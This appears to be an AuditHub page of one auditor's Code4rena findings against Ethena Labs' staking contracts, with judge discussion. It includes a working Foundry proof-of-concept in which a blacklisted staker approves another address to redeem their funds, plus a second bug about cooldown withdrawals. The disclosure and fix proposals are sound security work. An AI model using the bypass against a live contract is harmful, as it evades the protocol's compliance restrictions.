Ethena Labs - josephdara's results

Enabling The Internet Bond

General Information

Platform: Code4rena

Start Date: 24/10/2023

Pot Size: $36,500 USDC

Total HM: 4

Participants: 147

Period: 6 days

Judge: 0xDjango

Id: 299

League: ETH

Ethena Labs

Findings Distribution

Researcher Performance

Rank: 5/147

Findings: 2

Award: $1,587.06

🌟 Selected for report: 1

🚀 Solo Findings: 0

Awards

154.8827 USDC - $154.88

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sufficient quality report
M-01

External Links

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L245-L248

Vulnerability details

Impact

The StakedUSDe contract implements a method to SOFTLY or FULLY restrict user address, and either transfer to another user or burn. However there is an underlying issue. A fully restricted address is supposed to be unable to withdraw/redeem, however this issue can be walked around via the approve mechanism. The openzeppelin ERC4626 contract allows approved address to withdraw and redeem on behalf of another address so far there is an approval.

    function redeem(uint256 shares, address receiver, address owner) public virtual override returns (uint256) 

Blacklisted Users can explore this loophole to redeem their funds fully. This is because in the overridden _withdraw function, the token owner is not checked for restriction.

  function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
  {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }

Also in the overridden _beforeTokenTransfer there is a clause added to allow burning from restricted addresses:

  function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
      revert OperationNotAllowed();
    }

All these issues allows a restricted user to simply approve another address and redeem their usde.

Proof of Concept

This is a foundry test that can be run in the StakedUSDe.blacklist.t.sol in the test/foundry/staking directory

// SPDX-License-Identifier: MIT
pragma solidity >=0.8;

/* solhint-disable private-vars-leading-underscore  */
/* solhint-disable func-name-mixedcase  */
/* solhint-disable var-name-mixedcase  */

import {console} from "forge-std/console.sol";
import "forge-std/Test.sol";
import {SigUtils} from "forge-std/SigUtils.sol";

import "../../../contracts/USDe.sol";
import "../../../contracts/StakedUSDe.sol";
import "../../../contracts/interfaces/IUSDe.sol";
import "../../../contracts/interfaces/IERC20Events.sol";
import "../../../contracts/interfaces/ISingleAdminAccessControl.sol";

contract StakedUSDeBlacklistTest is Test, IERC20Events {
  USDe public usdeToken;
  StakedUSDe public stakedUSDe;
  SigUtils public sigUtilsUSDe;
  SigUtils public sigUtilsStakedUSDe;
  uint256 public _amount = 100 ether;

  address public owner;
  address public alice;
  address public bob;
  address public greg;

  bytes32 SOFT_RESTRICTED_STAKER_ROLE;
  bytes32 FULL_RESTRICTED_STAKER_ROLE;
  bytes32 DEFAULT_ADMIN_ROLE;
  bytes32 BLACKLIST_MANAGER_ROLE;

  event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
  event Withdraw(
    address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares
  );
  event LockedAmountRedistributed(address indexed from, address indexed to, uint256 amountToDistribute);

  function setUp() public virtual {
    usdeToken = new USDe(address(this));

    alice = makeAddr("alice");
    bob = makeAddr("bob");
    greg = makeAddr("greg");
    owner = makeAddr("owner");

    usdeToken.setMinter(address(this));

    vm.startPrank(owner);
    stakedUSDe = new StakedUSDe(IUSDe(address(usdeToken)), makeAddr('rewarder'), owner);
    vm.stopPrank();

    FULL_RESTRICTED_STAKER_ROLE = keccak256("FULL_RESTRICTED_STAKER_ROLE");
    SOFT_RESTRICTED_STAKER_ROLE = keccak256("SOFT_RESTRICTED_STAKER_ROLE");
    DEFAULT_ADMIN_ROLE = 0x00;
    BLACKLIST_MANAGER_ROLE = keccak256("BLACKLIST_MANAGER_ROLE");
  }

  function _mintApproveDeposit(address staker, uint256 amount, bool expectRevert) internal {
    usdeToken.mint(staker, amount);

    vm.startPrank(staker);
    usdeToken.approve(address(stakedUSDe), amount);

    uint256 sharesBefore = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      vm.expectRevert(IStakedUSDe.OperationNotAllowed.selector);
    } else {
      vm.expectEmit(true, true, true, false);
      emit Deposit(staker, staker, amount, amount);
    }
    stakedUSDe.deposit(amount, staker);
    uint256 sharesAfter = stakedUSDe.balanceOf(staker);
    if (expectRevert) {
      assertEq(sharesAfter, sharesBefore);
    } else {
      assertApproxEqAbs(sharesAfter - sharesBefore, amount, 1);
    }
    vm.stopPrank();
  }

 
    function test_fullBlacklist_withdraw_pass() public {
    _mintApproveDeposit(alice, _amount, false);

    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);
    vm.stopPrank();
    //@audit-issue assert that alice is blacklisted
   bool isBlacklisted = stakedUSDe.hasRole(FULL_RESTRICTED_STAKER_ROLE, alice);
   assertEq(isBlacklisted, true);
  //@audit-issue The staked balance of Alice
    uint256 balAliceBefore = stakedUSDe.balanceOf(alice); 
    //@audit-issue The usde balance of address 56
    uint256 bal56Before = usdeToken.balanceOf(address(56));
    vm.startPrank(alice);
    stakedUSDe.approve(address(56), _amount);
    vm.stopPrank();
    
    //@audit-issue address 56 receives approval and can unstake usde for Alice after a blacklist
    vm.startPrank(address(56));
    stakedUSDe.redeem(_amount, address(56), alice);
    vm.stopPrank();
      //@audit-issue The staked balance of Alice
     uint256 balAliceAfter = stakedUSDe.balanceOf(alice);
     //@audit-issue The usde balance of address 56
     uint256 bal56After = usdeToken.balanceOf(address(56));

      assertEq(bal56Before, 0);
      assertEq(balAliceAfter, 0);
      console.log(balAliceBefore);
      console.log(bal56Before);
      console.log(balAliceAfter);
      console.log(bal56After);

  }
}

Here we use address(56) as the second address, and we see that the user can withdraw their 100000000000000000000 tokens that was restricted. This is my test result showing the balances.

[PASS] test_fullBlacklist_withdraw_pass() (gas: 239624)
Logs:
  100000000000000000000 // Alice staked balance before
  0 // address(56) USDe balance before
  0 // Alice staked balance after
  100000000000000000000 // address(56) USDe balance after

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.68ms

Tools Used

Foundry, Manual review

Check the token owner as well in the _withdraw function:


    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver) || hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner) ) {
      revert OperationNotAllowed();
    }

Assessed type

ERC4626

#0 - c4-pre-sort

2023-10-31T19:52:30Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-10-31T19:52:37Z

raymondfam marked the issue as duplicate of #7

#2 - c4-pre-sort

2023-11-01T19:45:36Z

raymondfam marked the issue as duplicate of #666

#3 - c4-judge

2023-11-13T19:35:11Z

fatherGoose1 marked the issue as satisfactory

#4 - c4-judge

2023-11-14T15:20:54Z

fatherGoose1 changed the severity to 2 (Med Risk)

#5 - Josephdara

2023-11-15T06:34:25Z

Hi @fatherGoose1 , I do believe this is a high severity bug, It does break a major protocol functionality, compromising assets directly. According to the severity categorization:

3 — High: Assets can be stolen/lost/compromised directly

Also could you consider selecting this issue for report instead of #666 I believe that it is better for the following reasons:

  • Contains a fully coded and detailed PoC with an expected output.
  • My explanation is (in my opinion) easier to understand, explaining the issue downn to the _beforeTokenTransfer and _withdraw That being said, I understand that a report being better is subjective and will respect your decision as a Judge.

Thanks!!!

#6 - c4-judge

2023-11-17T02:55:05Z

fatherGoose1 marked the issue as selected for report

#7 - fatherGoose1

2023-11-17T02:56:19Z

I agree that this is the best report to highlight this issue.

@Josephdara I have conversed with the project team, and we have agreed that breaking rules due to legal compliance is medium severity as no funds are at risk.

Findings Information

🌟 Selected for report: adeolu

Also found by: Eeyore, Madalad, Mike_Bello90, Shubham, jasonxiale, josephdara, peanuts

Labels

bug
2 (Med Risk)
satisfactory
sufficient quality report
duplicate-198

Awards

1432.1788 USDC - $1,432.18

External Links

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L76-L87

Vulnerability details

Impact

Unstake is used to withdraw token that were being cooled down in the silo, They are also used to withdraw tokens locked in the silo after the cooldownDuration is set to zero:

/// @notice Claim the staking amount after the cooldown has finished. The address can only retire the full amount of assets.
  /// @dev unstake can be called after cooldown have been set to 0, to let accounts to be able to claim remaining assets locked at Silo
  /// @param receiver Address to send the assets by the staker
  function unstake(address receiver) external {

Proof of Concept

The above condition can not be satisfied, because the contract does not allow redemption of locked tokens even when lockdown has been changed to zero.

    if (block.timestamp >= userCooldown.cooldownEnd) {
      userCooldown.cooldownEnd = 0;
      userCooldown.underlyingAmount = 0;

      silo.withdraw(receiver, assets);
    } else {
      revert InvalidCooldown();
    }

As seen above, it only checks if the specified userCooldown.cooldownEnd has elapsed, if it hasn't the function reverts. This means that if a user cools down any amount of assets, if the cooldown period is set to zero the next day, they would still have to wait for the 90 days to elapse. This is because unstake CANNOT be called after cooldown have been set to 0 contrary to the code comments.

Tools Used

Manual Review

Allow users redeem their tokens from the silo when cooldown is turned off by updating the if statement.

    if (block.timestamp >= userCooldown.cooldownEnd || cooldownDuration == 0) {
      userCooldown.cooldownEnd = 0;
      userCooldown.underlyingAmount = 0;

      silo.withdraw(receiver, assets);
    } else {
      revert InvalidCooldown();
    }

Assessed type

Other

#0 - c4-pre-sort

2023-10-31T20:02:29Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2023-10-31T20:02:43Z

raymondfam marked the issue as duplicate of #29

#2 - c4-judge

2023-11-13T19:00:43Z

fatherGoose1 marked the issue as satisfactory

#3 - c4-judge

2023-11-17T02:45:07Z

fatherGoose1 changed the severity to QA (Quality Assurance)

#4 - c4-judge

2023-11-17T16:47:08Z

This previously downgraded issue has been upgraded by fatherGoose1

#5 - c4-judge

2023-11-27T19:57:41Z

fatherGoose1 marked the issue as not a duplicate

#6 - c4-judge

2023-11-27T19:57:51Z

fatherGoose1 marked the issue as duplicate of #198

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter